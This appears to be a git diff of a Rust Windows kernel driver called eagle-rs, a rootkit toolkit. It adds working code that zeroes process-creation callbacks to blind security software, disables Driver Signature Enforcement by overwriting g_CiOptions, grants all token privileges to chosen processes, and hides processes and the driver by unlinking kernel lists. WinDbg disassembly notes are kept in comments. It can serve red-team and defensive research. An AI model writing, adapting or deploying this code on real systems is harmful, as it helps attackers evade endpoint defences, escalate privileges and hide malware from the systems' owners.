log::info!("Error: get_module_exports failed, DOS header is invalid"); + return None; + } + + let nt_header = + (module_base as usize + dos_header.e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + if (*nt_header).Signature != IMAGE_NT_SIGNATURE { + log::info!("Error: get_module_exports failed, NT header is invalid"); + return None; + } + + let export_directory = (module_base as usize + + (*nt_header).OptionalHeader.DataDirectory + [IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) + as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) + as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) + as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) + as *const u16, + (*export_directory).NumberOfNames as _, + ); + + //log::info!("[+] Module Base: {:?} Export Directory: {:?} AddressOfNames: {names:p}, AddressOfFunctions: {functions:p}, AddressOfNameOrdinals: {ordinals:p} ", module_base, export_directory); + + for i in 0..(*export_directory).NumberOfNames { + + let name = (module_base as usize + names[i as usize] as usize) as *const i8; + + if let Ok(name) = CStr::from_ptr(name).to_str() { + + let ordinal = ordinals[i as usize] as usize; + + exports.insert( + name.to_string(), + module_base as usize + functions[ordinal] as usize, + ); + } + } + return Some(exports); +} + +/* +0: kd> u CI!CiInitialize +CI!CiInitialize: +fffff800`5a673400 48895c2408 mov qword ptr [rsp+8],rbx +fffff800`5a673405 48896c2410 mov qword ptr [rsp+10h],rbp +fffff800`5a67340a 4889742418 mov qword ptr [rsp+18h],rsi +fffff800`5a67340f 57 push rdi +fffff800`5a673410 4883ec20 sub rsp,20h +fffff800`5a673414 498bd9 mov rbx,r9 +fffff800`5a673417 498bf8 mov rdi,r8 +fffff800`5a67341a 488bf2 mov rsi,rdx +0: kd> u +CI!CiInitialize+0x1d: +fffff800`5a67341d 8be9 mov ebp,ecx +fffff800`5a67341f e8e46b0800 call CI!wil_InitializeFeatureStaging (fffff800`5a6fa008) +fffff800`5a673424 e8ff6d0800 call CI!_security_init_cookie (fffff800`5a6fa228) +fffff800`5a673429 488b0d5848ffff mov rcx,qword ptr [CI!wil_details_featureChangeNotification (fffff800`5a667c88)] +fffff800`5a673430 4885c9 test rcx,rcx +fffff800`5a673433 7414 je CI!CiInitialize+0x49 (fffff800`5a673449) +fffff800`5a673435 4c8b15b4ccffff mov r10,qword ptr [CI!_imp_RtlUnregisterFeatureConfigurationChangeNotification (fffff800`5a6700f0)] +fffff800`5a67343c e8ff33eafe call nt!RtlUnregisterFeatureConfigurationChangeNotification (fffff800`59516840) +0: kd> u +CI!CiInitialize+0x41: +fffff800`5a673441 4883253f48ffff00 and qword ptr [CI!wil_details_featureChangeNotification (fffff800`5a667c88)],0 +fffff800`5a673449 4c8bcb mov r9,rbx +fffff800`5a67344c 4c8bc7 mov r8,rdi +fffff800`5a67344f 488bd6 mov rdx,rsi +fffff800`5a673452 8bcd mov ecx,ebp +fffff800`5a673454 e8bb080000 call CI!CipInitialize (fffff800`5a673d14) +fffff800`5a673459 488b5c2430 mov rbx,qword ptr [rsp+30h] +fffff800`5a67345e 488b6c2438 mov rbp,qword ptr [rsp+38h] +*/ + +/* +0: kd> u CI!CipInitialize +CI!CipInitialize: +fffff800`5a673d14 48895c2408 mov qword ptr [rsp+8],rbx +fffff800`5a673d19 48896c2410 mov qword ptr [rsp+10h],rbp +fffff800`5a673d1e 4889742418 mov qword ptr [rsp+18h],rsi +fffff800`5a673d23 57 push rdi +fffff800`5a673d24 4154 push r12 +fffff800`5a673d26 4156 push r14 +fffff800`5a673d28 4883ec40 sub rsp,40h +fffff800`5a673d2c 498be9 mov rbp,r9 +0: kd> u +CI!CipInitialize+0x1b: +fffff800`5a673d2f 890d8346ffff mov dword ptr [CI!g_CiOptions (fffff800`5a6683b8)],ecx +fffff800`5a673d35 498bd8 mov rbx,r8 +fffff800`5a673d38 488bf2 mov rsi,rdx +fffff800`5a673d3b 448bf1 mov r14d,ecx +fffff800`5a673d3e 4c8b15cbc3ffff mov r10,qword ptr [CI!_imp_PsGetCurrentProcess (fffff800`5a670110)] +fffff800`5a673d45 e866677cfe call nt!PsGetCurrentProcess (fffff800`58e3a4b0) +fffff800`5a673d4a 488905a746ffff mov qword ptr [CI!g_CiSystemProcess (fffff800`5a6683f8)],rax +fffff800`5a673d51 813be8000000 cmp dword ptr [rbx],0E8h + +*/ \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/includes/mod.rs b/memN0ps/eagle-rs/driver/src/includes/mod.rs new file mode 100644 index 0000000..240350d --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/includes/mod.rs @@ -0,0 +1,232 @@ +use modular_bitfield::bitfield; +use modular_bitfield::specifiers::B3; +use modular_bitfield::specifiers::B1; +use modular_bitfield::specifiers::B4; +use winapi::{shared::{ntdef::{HANDLE, BOOLEAN, NTSTATUS, ULONG, PVOID, PCUNICODE_STRING, UNICODE_STRING, LARGE_INTEGER, LIST_ENTRY, CSHORT}, basetsd::SIZE_T, minwindef::{USHORT, PULONG}}, km::wdm::{KEVENT, KSPIN_LOCK, PDEVICE_OBJECT, PEPROCESS}, um::winnt::PACCESS_TOKEN, ctypes::c_void}; + +#[link(name = "aux_klib", kind = "static")] +extern "system" { + pub fn AuxKlibInitialize() -> NTSTATUS; + pub fn AuxKlibQueryModuleInformation(buffer_size: *mut u32, element_size: u32, query_info: *mut c_void) -> NTSTATUS; +} + +#[repr(C)] +pub enum SystemInformationClass { + SystemModuleInformation = 11, +} + +#[link(name = "ntoskrnl")] +extern "system" { + #[allow(dead_code)] + pub fn MmIsAddressValid(virtual_address: PVOID) -> bool; + + pub fn PsLookupProcessByProcessId(process_id: HANDLE, process: *mut PEPROCESS) -> NTSTATUS; + + pub fn PsReferencePrimaryToken(process: PEPROCESS) -> PACCESS_TOKEN; + + pub fn PsDereferencePrimaryToken(primary_token: PACCESS_TOKEN); + + pub fn ObfDereferenceObject(object: PVOID); + + pub fn MmGetSystemRoutineAddress(system_routine_name: *mut UNICODE_STRING) -> PVOID; + + pub fn PsGetCurrentProcess() -> HANDLE; +} + +extern "system" { + pub fn ZwQuerySystemInformation(system_information_class: SystemInformationClass, system_information: PVOID, system_information_length: ULONG, return_length: PULONG) -> NTSTATUS; +} + + +extern "C" { + pub fn strlen(s: *const i8) -> usize; + pub fn strstr(haystack: *const u8, needle: *const u8) -> *const u8; +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct SystemModule { + pub section: *mut c_void, + pub mapped_base: *mut c_void, + pub image_base: *mut c_void, + pub size: u32, + pub flags: u32, + pub index: u8, + pub name_length: u8, + pub load_count: u8, + pub path_length: u8, + pub image_name: [u8; 256], +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct SystemModuleInformation { + pub modules_count: u32, + pub modules: [SystemModule; 256], +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct ProcessPrivileges { + pub present: [u8; 8], + pub enabled: [u8; 8], + pub enabled_by_default: [u8; 8], +} + +#[repr(C)] +#[bitfield] +#[derive(Debug, Clone, Copy)] +pub struct PSProtection { + pub protection_type: B3, + pub protection_audit: B1, + pub protection_signer: B4, +} + + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct ProcessProtectionInformation { + pub signature_level: u8, + pub section_signature_level: u8, + pub protection: PSProtection, +} + + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct ClientID { + pub unique_process: HANDLE, + pub unique_thread: HANDLE, +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct ImageInfoProperties { + pub image_address_mode: ULONG, + pub system_mode_image: ULONG, + pub image_mapped_to_all_pids: ULONG, + pub extended_info_present: ULONG, + pub machine_type_mismatch: ULONG, + pub image_signature_level: ULONG, + pub image_signature_type: ULONG, + pub image_partial_map: ULONG, + pub reserved: ULONG, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union ImageInfo0 { + pub properties: ULONG, + pub param0: ImageInfoProperties, +} + +#[repr(C)] +pub struct ImageInfo { + pub param0: ImageInfo0, + pub image_base: PVOID, + pub image_selector: ULONG, + pub image_size: SIZE_T, + pub image_section_number: ULONG, +} + +#[repr(C)] +pub struct VPB { + pub ttype: CSHORT, + pub size: CSHORT, + pub flags: USHORT, + pub volume_label_length: USHORT, + pub device_object: PDEVICE_OBJECT, + pub real_device: PDEVICE_OBJECT, + pub serial_number: ULONG, + pub reference_count: ULONG, + pub volume_label: [u16; 32], +} + +#[repr(C)] +pub struct IoCompletionContext { + pub port: PVOID, + pub key: PVOID, +} + +#[repr(C)] +pub struct SectionObjectPointers { + pub data_section_object: PVOID, + pub shared_cache_map: PVOID, + pub image_section_object: PVOID, +} + +#[repr(C)] +pub struct FileObject { + pub ttype: CSHORT, + pub size: CSHORT, + pub device_object: PDEVICE_OBJECT, + pub vpb: *mut VPB, + pub fs_context: PVOID, + pub fs_context32: PVOID, + pub section_object_pointer: *mut SectionObjectPointers, + pub private_cache_map: PVOID, + pub final_status: NTSTATUS, + pub related_file_object: *mut FileObject, + pub lock_operation: BOOLEAN, + pub delete_pending: BOOLEAN, + pub read_access: BOOLEAN, + pub write_access: BOOLEAN, + pub delete_access: BOOLEAN, + pub shared_read: BOOLEAN, + pub shared_write: BOOLEAN, + pub shared_delete: BOOLEAN, + pub flags: ULONG, + pub file_name: UNICODE_STRING, + pub current_byte_offset: LARGE_INTEGER, + pub waiters: ULONG, + pub busy: ULONG, + pub last_lock: PVOID, + pub lock: KEVENT, + pub event: KEVENT, + pub completion_context: *mut IoCompletionContext, + pub irp_list_lock: KSPIN_LOCK, + pub irp_list: LIST_ENTRY, + pub file_object_extension: PVOID, +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct PSCreateNotifyInfo00 { + pub file_open_available: ULONG, + pub is_subsystem_process: ULONG, + pub reserved: ULONG, +} + +#[repr(C)] +pub union PSCreateNotifyInfo0 { + pub flags: ULONG, + pub param0: PSCreateNotifyInfo00, +} + +#[repr(C)] +pub struct PSCreateNotifyInfo { + pub size: SIZE_T, + pub param0: PSCreateNotifyInfo0, + pub parent_process_id: HANDLE, + pub creating_thread_id: ClientID, + pub file_object: *mut FileObject, + pub image_file_name: PCUNICODE_STRING, + pub command_line: PCUNICODE_STRING, + pub creation_status: NTSTATUS, +} + + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct AuxModuleBasicInfo { + pub image_base: *mut c_void, +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct AuxModuleExtendedInfo { + pub basic_info: AuxModuleBasicInfo, + pub image_size: u32, + pub file_name_offset: u16, + pub full_path_name: [u8; 256], +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/lib.rs b/memN0ps/eagle-rs/driver/src/lib.rs new file mode 100644 index 0000000..f0ea728 --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/lib.rs @@ -0,0 +1,360 @@ +#![no_std] +#![feature(alloc_c_string)] +#![feature(core_c_str)] + + +mod string; +mod process; +mod token; +mod callbacks; +pub mod includes; +mod dse; + + +use core::{panic::PanicInfo, mem::{size_of}}; +use core::ptr::null_mut; +use dse::get_gci_options_address; +use kernel_alloc::nt::ExFreePool; +use winapi::{km::wdm::IO_PRIORITY::IO_NO_INCREMENT, shared::ntstatus::{STATUS_BUFFER_TOO_SMALL, STATUS_INVALID_PARAMETER}}; +use winapi::km::wdm::{DRIVER_OBJECT, IoCreateDevice, PDEVICE_OBJECT, IoCreateSymbolicLink, IRP_MJ, DEVICE_OBJECT, IRP, IoCompleteRequest, IoGetCurrentIrpStackLocation, IoDeleteSymbolicLink, IoDeleteDevice, DEVICE_TYPE}; +use winapi::shared::ntdef::{NTSTATUS, UNICODE_STRING, FALSE, NT_SUCCESS, TRUE}; +use winapi::shared::ntstatus::{STATUS_SUCCESS, STATUS_UNSUCCESSFUL}; +use common::{IOCTL_PROCESS_PROTECT_REQUEST, IOCTL_PROCESS_UNPROTECT_REQUEST, IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST, IOCTL_CALLBACKS_ENUM_REQUEST, IOCTL_CALLBACKS_ZERO_REQUEST, IOCTL_DSE_ENABLE_DISABLE_REQUEST, IOCTL_PROCESS_HIDE_REQUEST, IOCTL_DRIVER_HIDE_REQUEST, CallBackInformation, TargetProcess, TargetCallback, DriverSignatureEnforcement, IOCTL_DRIVER_ENUM_REQUEST, ModuleInformation}; +use crate::{callbacks::{PsSetCreateProcessNotifyRoutineEx, process_create_callback, PcreateProcessNotifyRoutineEx, search_loaded_modules, get_loaded_modules}, process::{find_psp_set_create_process_notify, hide::{hide_process, hide_driver, get_kernel_loaded_modules}}}; +use crate::process::{protect_process, unprotect_process}; +use crate::string::create_unicode_string; +use crate::token::enable_all_token_privileges; +extern crate alloc; +use kernel_log::KernelLogger; +use log::{LevelFilter}; + + +/// When using the alloc crate it seems like it does some unwinding. Adding this +/// export satisfies the compiler but may introduce undefined behaviour when a +/// panic occurs. +#[no_mangle] +pub extern "system" fn __CxxFrameHandler3(_: *mut u8, _: *mut u8, _: *mut u8, _: *mut u8) -> i32 { unimplemented!() } + +#[global_allocator] +static GLOBAL: kernel_alloc::KernelAlloc = kernel_alloc::KernelAlloc; + +/// Explanation can be found here: https://github.com/Trantect/win_driver_example/issues/4 +#[export_name = "_fltused"] +static _FLTUSED: i32 = 0; + +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} + +#[no_mangle] +pub extern "system" fn driver_entry(driver: &mut DRIVER_OBJECT, _: &UNICODE_STRING) -> NTSTATUS { + KernelLogger::init(LevelFilter::Info).expect("Failed to initialize logger"); + + log::info!("Driver Entry called"); + + driver.DriverUnload = Some(driver_unload); + + driver.MajorFunction[IRP_MJ::CREATE as usize] = Some(dispatch_create_close); + driver.MajorFunction[IRP_MJ::CLOSE as usize] = Some(dispatch_create_close); + driver.MajorFunction[IRP_MJ::DEVICE_CONTROL as usize] = Some(dispatch_device_control); + + let device_name = create_unicode_string(obfstr::wide!("\\Device\\Eagle\0")); + let mut device_object: PDEVICE_OBJECT = null_mut(); + let mut status = unsafe { + IoCreateDevice( + driver, + 0, + &device_name, + DEVICE_TYPE::FILE_DEVICE_UNKNOWN, + 0, + FALSE, + &mut device_object + ) + }; + + if !NT_SUCCESS(status) { + log::error!("Failed to create device object ({:#x})", status); + return status; + } + + let symbolic_link = create_unicode_string(obfstr::wide!("\\??\\Eagle\0")); + status = unsafe { IoCreateSymbolicLink(&symbolic_link, &device_name) }; + + if !NT_SUCCESS(status) { + log::error!("Failed to create symbolic link ({:#x})", status); + return status; + } + + //ProcessNotify (called when a process is created) + unsafe { PsSetCreateProcessNotifyRoutineEx(process_create_callback as PcreateProcessNotifyRoutineEx, FALSE) }; + + + return STATUS_SUCCESS; +} + + +pub extern "system" fn dispatch_device_control(device_object: &mut DEVICE_OBJECT, irp: &mut IRP) -> NTSTATUS { + + let stack = IoGetCurrentIrpStackLocation(irp); + let control_code = unsafe { (*stack).Parameters.DeviceIoControl().IoControlCode }; + let mut status = STATUS_SUCCESS; + let mut information: usize = 0; + + match control_code { + IOCTL_PROCESS_PROTECT_REQUEST => { + log::info!("IOCTL_PROCESS_PROTECT_REQUEST"); + + if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { + status = STATUS_BUFFER_TOO_SMALL; + log::error!("STATUS_BUFFER_TOO_SMALL"); + return complete_request(irp, status, information); + } + + let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; + let protect_process_status = protect_process(target_process); + + if NT_SUCCESS(protect_process_status) { + log::info!("Process protection successful"); + information = size_of::(); + status = STATUS_SUCCESS; + } else { + log::error!("Process protection failed"); + status = STATUS_UNSUCCESSFUL; + } + }, + IOCTL_PROCESS_UNPROTECT_REQUEST => { + log::info!("IOCTL_PROCESS_UNPROTECT_REQUEST"); + + if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { + status = STATUS_BUFFER_TOO_SMALL; + log::error!("STATUS_BUFFER_TOO_SMALL"); + return complete_request(irp, status, information); + } + + let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; + let unprotect_process_status = unprotect_process(target_process); + + if NT_SUCCESS(unprotect_process_status) { + log::info!("Process unprotection successful"); + information = size_of::(); + status = STATUS_SUCCESS; + } else { + log::error!("Process unprotection failed"); + status = STATUS_UNSUCCESSFUL; + } + }, + IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST => { + log::info!("IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST"); + + if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { + status = STATUS_BUFFER_TOO_SMALL; + log::error!("STATUS_BUFFER_TOO_SMALL"); + return complete_request(irp, status, information); + } + + let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; + let token_privs_status = enable_all_token_privileges(target_process); + + if NT_SUCCESS(token_privs_status) { + log::info!("Process token privileges successful"); + information = size_of::(); + status = STATUS_SUCCESS; + } else { + log::error!("Process token privileges failed"); + status = STATUS_UNSUCCESSFUL; + } + }, + IOCTL_CALLBACKS_ENUM_REQUEST => { + log::info!("IOCTL_PROCESS_ENUM_CALLBACKS"); + + let (modules, number_of_modules) = get_loaded_modules().expect("[-] Failed to get loaded modules"); + let psp_array_address = find_psp_set_create_process_notify().expect("[-] Failed to find PspSetCreateProcessNotifyRoutine array address"); + + let user_buffer = irp.UserBuffer as *mut CallBackInformation; + + for i in 0..64 { + let p_callback = unsafe { psp_array_address.cast::().offset(i * 8) }; + let callback = unsafe { *(p_callback as *const u64) }; + unsafe { (*user_buffer.offset(i)).pointer = callback }; + + if callback > 0 { + let callback_info = unsafe { user_buffer.offset(i) }; + search_loaded_modules(modules, number_of_modules, callback_info); + information += size_of::(); + } + } + + log::info!("Enumerate callbacks successful"); + unsafe { ExFreePool(modules as u64) }; + status = STATUS_SUCCESS; + }, + IOCTL_CALLBACKS_ZERO_REQUEST => { + log::info!("IOCTL_CALLBACKS_ZERO_REQUEST"); + + if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { + status = STATUS_BUFFER_TOO_SMALL; + log::error!("STATUS_BUFFER_TOO_SMALL"); + return complete_request(irp, status, information); + } + + let target = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetCallback }; + + if target.is_null() { + status = STATUS_INVALID_PARAMETER; + log::error!("STATUS_INVALID_PARAMETER"); + return complete_request(irp, status, information); + } + + if unsafe { (*target).index < 0 || (*target).index > 64 } { + status = STATUS_INVALID_PARAMETER; + log::error!("STATUS_INVALID_PARAMETER"); + return complete_request(irp, status, information); + } + + let psp_array_address = find_psp_set_create_process_notify().expect("[-] Failed to find PspSetCreateProcessNotifyRoutine array address"); + + for i in 0..64 { + if i == unsafe { (*target).index } { + let p_callback = unsafe { psp_array_address.cast::().offset((i * 8) as isize) }; + unsafe { *(p_callback as *mut u64) = 0 as u64 }; // Zero out the callback index + information = size_of::(); + status = STATUS_SUCCESS; + break; + } + } + log::info!("IOCTL_CALLBACKS_ZERO_REQUEST successful"); + }, + IOCTL_DSE_ENABLE_DISABLE_REQUEST => { + log::info!("IOCTL_DSE_ENABLE_DISABLE_REQUEST"); + + if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { + status = STATUS_BUFFER_TOO_SMALL; + log::error!("STATUS_BUFFER_TOO_SMALL"); + return complete_request(irp, status, information); + } + + if unsafe { (*stack).Parameters.DeviceIoControl().OutputBufferLength < size_of::() as u32 } { + status = STATUS_BUFFER_TOO_SMALL; + log::error!("STATUS_BUFFER_TOO_SMALL"); + return complete_request(irp, status, information); + } + + let dse = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut DriverSignatureEnforcement }; + let user_buffer = irp.UserBuffer as *mut DriverSignatureEnforcement; + + if dse.is_null() { + status = STATUS_INVALID_PARAMETER; + log::error!("STATUS_INVALID_PARAMETER"); + return complete_request(irp, status, information); + } + + let g_ci_option_address = get_gci_options_address().expect("Unable to get g_CiOptions address"); + + if unsafe { (*dse).is_enabled } { + unsafe { *(g_ci_option_address as *mut u64) = 0x0006 as u64 }; // Enable DSE + unsafe { (*user_buffer).address = *(g_ci_option_address as *mut u64) }; + unsafe { (*user_buffer).is_enabled = true }; + } else { + unsafe { *(g_ci_option_address as *mut u64) = 0x000E as u64 }; // Disble DSE + unsafe { (*user_buffer).address = *(g_ci_option_address as *mut u64) }; + unsafe { (*user_buffer).is_enabled = false }; + } + + log::info!("IOCTL_DSE_ENABLE_DISABLE_REQUEST successful"); + + information = size_of::(); + status = STATUS_SUCCESS; + }, + IOCTL_PROCESS_HIDE_REQUEST => { + log::info!("IOCTL_PROCESS_HIDE_REQUEST"); + + if unsafe { (*stack).Parameters.DeviceIoControl().InputBufferLength < size_of::() as u32 } { + status = STATUS_BUFFER_TOO_SMALL; + log::error!("STATUS_BUFFER_TOO_SMALL"); + return complete_request(irp, status, information); + } + + let target_process = unsafe { (*stack).Parameters.DeviceIoControl().Type3InputBuffer as *mut TargetProcess }; + + let process_id = unsafe { (*target_process).process_id }; + log::info!("Process ID: {:?}", process_id); + + if let Ok(_result) = hide_process(process_id) { + log::info!("Hide process successful"); + information = size_of::(); + status = STATUS_SUCCESS; + } else { + log::error!("Hide process failed"); + status = STATUS_UNSUCCESSFUL; + } + }, + IOCTL_DRIVER_HIDE_REQUEST => { + log::info!("IOCTL_DRIVER_HIDE_REQUEST"); + + if let Ok(_result) = hide_driver(device_object) { + log::info!("Driver hidden successful"); + information = 0; + status = STATUS_SUCCESS; + } else { + log::error!("Failed to hide driver"); + status = STATUS_UNSUCCESSFUL; + } + }, + IOCTL_DRIVER_ENUM_REQUEST => { + log::info!("IOCTL_DRIVER_ENUM_REQUEST"); + + let user_buffer = irp.UserBuffer as *mut ModuleInformation; + + if let Ok(_result) = get_kernel_loaded_modules(user_buffer, &mut information) { + log::info!("Loaded modules enumerate successfully"); + status = STATUS_SUCCESS; + } else { + log::error!("Failed enumerate modules"); + status = STATUS_UNSUCCESSFUL; + } + }, + _ => { + log::error!("Invalid IOCTL code"); + status = STATUS_UNSUCCESSFUL; + }, + } + + return complete_request(irp, status, information); +} + +fn complete_request(irp: &mut IRP, status: NTSTATUS, information: usize) -> NTSTATUS { + unsafe { *(irp.IoStatus.__bindgen_anon_1.Status_mut()) = status }; + irp.IoStatus.Information = information; + unsafe { IoCompleteRequest(irp, IO_NO_INCREMENT) }; + + return status; +} + +pub extern "system" fn dispatch_create_close(_device_object: &mut DEVICE_OBJECT, irp: &mut IRP) -> NTSTATUS { + let stack = IoGetCurrentIrpStackLocation(irp); + let code = unsafe { (*stack).MajorFunction }; + + if code == IRP_MJ::CREATE as u8 { + log::info!("IRP_MJ_CREATE called"); + } else { + log::info!("IRP_MJ_CLOSE called"); + } + + irp.IoStatus.Information = 0; + unsafe { *(irp.IoStatus.__bindgen_anon_1.Status_mut()) = STATUS_SUCCESS }; + + unsafe { IoCompleteRequest(irp, IO_NO_INCREMENT) }; + + return STATUS_SUCCESS; +} + +pub extern "system" fn driver_unload(driver: &mut DRIVER_OBJECT) { + let symbolic_link = create_unicode_string(obfstr::wide!("\\??\\Eagle\0")); + unsafe { IoDeleteSymbolicLink(&symbolic_link) }; + unsafe { IoDeleteDevice(driver.DeviceObject) }; + + // Remove Callbacks (or BSOD) + unsafe { PsSetCreateProcessNotifyRoutineEx(process_create_callback as PcreateProcessNotifyRoutineEx, TRUE) }; + log::info!("Driver unloaded successfully!"); +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/process/hide.rs b/memN0ps/eagle-rs/driver/src/process/hide.rs new file mode 100644 index 0000000..56a7a3c --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/process/hide.rs @@ -0,0 +1,260 @@ +use core::{mem::size_of, ptr::{addr_of_mut}, intrinsics::{transmute, copy_nonoverlapping}}; + +use common::ModuleInformation; +use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; +use winapi::{shared::{ntdef::{LIST_ENTRY, UNICODE_STRING}}, km::wdm::{PEPROCESS, DEVICE_OBJECT, KIRQL}}; +use crate::{includes::{PsGetCurrentProcess}, process::get_function_base_address, string::create_unicode_string}; + + + +/* +kd> dt nt!_EPROCESS + +0x000 Pcb : _KPROCESS + +0x438 ProcessLock : _EX_PUSH_LOCK + +0x440 UniqueProcessId : Ptr64 Void + +0x448 ActiveProcessLinks : _LIST_ENTRY +*/ + +/* +0: kd> u PsGetProcessId +nt!PsGetProcessId: + fffff800`58e6ab30 488b8140040000 mov rax,qword ptr [rcx+440h] +*/ + +/// Get the offset to nt!_EPROCESS.UniqueProcessId +fn get_unique_pid_offset() -> usize { + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("PsGetProcessId\0") + ) as *mut UNICODE_STRING; + + let base_address = get_function_base_address(unicode_function_name); + let function_bytes: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 5) }; + + let slice = &function_bytes[3..5]; + let unique_pid_offset = u16::from_le_bytes(slice.try_into().unwrap()); + log::info!("EPROCESS.UniqueProcessId: {:#x}", unique_pid_offset); + + return unique_pid_offset as usize; +} + +pub fn hide_process(pid: u32) -> Result { + //nt!_EPROCESS.UniqueProcessId + let unique_process_id_offset: usize = get_unique_pid_offset(); + + //nt!_EPROCESS.ActiveProcessLinks + let active_process_links_offset: usize = unique_process_id_offset + size_of::(); + + //The PsGetCurrentProcessId routine identifies the current thread's process. + let mut current_eprocess = unsafe { PsGetCurrentProcess() }; + + log::info!("current_eprocess: {:?}", current_eprocess); + + if current_eprocess.is_null() { + log::info!("Failed to call PsGetCurrentProcess"); + return Err("Failed to call PsGetCurrentProcess"); + } + + //ActiveProcessLinks: hardcoded offset as this has not changed through various version of windows + let mut current_list = (current_eprocess as usize + active_process_links_offset) as *mut LIST_ENTRY; + let mut current_pid = (current_eprocess as usize + unique_process_id_offset) as *mut u32; + + // Check if the current process ID is the one to hide + if unsafe { (*current_pid) == pid } { + remove_links(current_list); + return Ok(true); + } + + // This is the starting position + let start_process: PEPROCESS = current_eprocess; + + // Iterate over the next EPROCESS structure of a process + current_eprocess = unsafe { ((*current_list).Flink as usize - active_process_links_offset) as PEPROCESS }; + current_pid = (current_eprocess as usize + unique_process_id_offset) as *mut u32; + current_list = (current_eprocess as usize + active_process_links_offset) as *mut LIST_ENTRY; + + // Loop until the circle is complete or until the process ID is found + while start_process as usize != current_eprocess as usize { + + // Check if the current process ID is the one to hide + if unsafe { (*current_pid) == pid } { + remove_links(current_list); + return Ok(true); + } + + // Iterate over the next EPROCESS structure of a process + current_eprocess = unsafe { ((*current_list).Flink as usize - active_process_links_offset) as PEPROCESS }; + current_pid = (current_eprocess as usize + unique_process_id_offset) as *mut u32; + current_list = (current_eprocess as usize + active_process_links_offset) as *mut LIST_ENTRY; + } + + + return Ok(true); +} + +fn remove_links(current: *mut LIST_ENTRY) { + let previous = unsafe { (*current).Blink }; + let next = unsafe { (*current).Flink }; + + unsafe { (*previous).Flink = next }; + unsafe { (*next).Blink = previous }; + + // This will re-write the current LIST_ENTRY to point to itself to avoid BSOD + unsafe { (*current).Blink = addr_of_mut!((*current).Flink).cast::() }; + unsafe { (*current).Flink = addr_of_mut!((*current).Flink).cast::() }; +} + +type FnKeRaiseIrqlToDpcLevel = unsafe extern "system" fn() -> KIRQL; +type FnKeLowerIrql = unsafe extern "system" fn(new_irql: KIRQL); +type FnKeGetCurrentIrql = unsafe extern "system" fn() -> KIRQL; + +pub fn hide_driver(device_object: &mut DEVICE_OBJECT) -> Result { + + //KeRaiseIrqlToDpcLevel + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("KeRaiseIrqlToDpcLevel\0") + ) as *mut UNICODE_STRING; + + let ptr_ke_raise_irql_to_dpc_level = get_function_base_address(unicode_function_name); + + if ptr_ke_raise_irql_to_dpc_level.is_null() { + log::error!("KeRaiseIrqlToDpcLevel is null"); + return Err("KeRaiseIrqlToDpcLevel is null"); + } + + //KeLowerIrql + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("KeLowerIrql\0") + ) as *mut UNICODE_STRING; + + let ptr_ke_lower_irql = get_function_base_address(unicode_function_name); + + if ptr_ke_lower_irql.is_null() { + log::error!("KeLowerIrql is null"); + return Err("KeLowerIrql is null"); + } + + //KeGetCurrentIrql + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("KeGetCurrentIrql\0") + ) as *mut UNICODE_STRING; + + let ptr_ke_get_current_irql = get_function_base_address(unicode_function_name); + + if ptr_ke_get_current_irql.is_null() { + log::error!("KeGetCurrentIrql is null"); + return Err("KeGetCurrentIrql is null"); + } + + //Convert to function pointers + #[allow(non_snake_case)] + let KeGetCurrentIrql = unsafe { transmute::<_, FnKeGetCurrentIrql>(ptr_ke_get_current_irql) }; + #[allow(non_snake_case)] + let KeRaiseIrqlToDpcLevel = unsafe { transmute::<_, FnKeRaiseIrqlToDpcLevel>(ptr_ke_raise_irql_to_dpc_level) }; + #[allow(non_snake_case)] + let KeLowerIrql = unsafe { transmute::<_, FnKeLowerIrql>(ptr_ke_lower_irql) }; + + //The KeGetCurrentIrql routine returns the current IRQL. For information about IRQLs, see Managing Hardware Priorities. + let current_irql = unsafe { KeGetCurrentIrql() }; + log::info!("1st KeGetCurrentIrql: {:?}", current_irql); + + 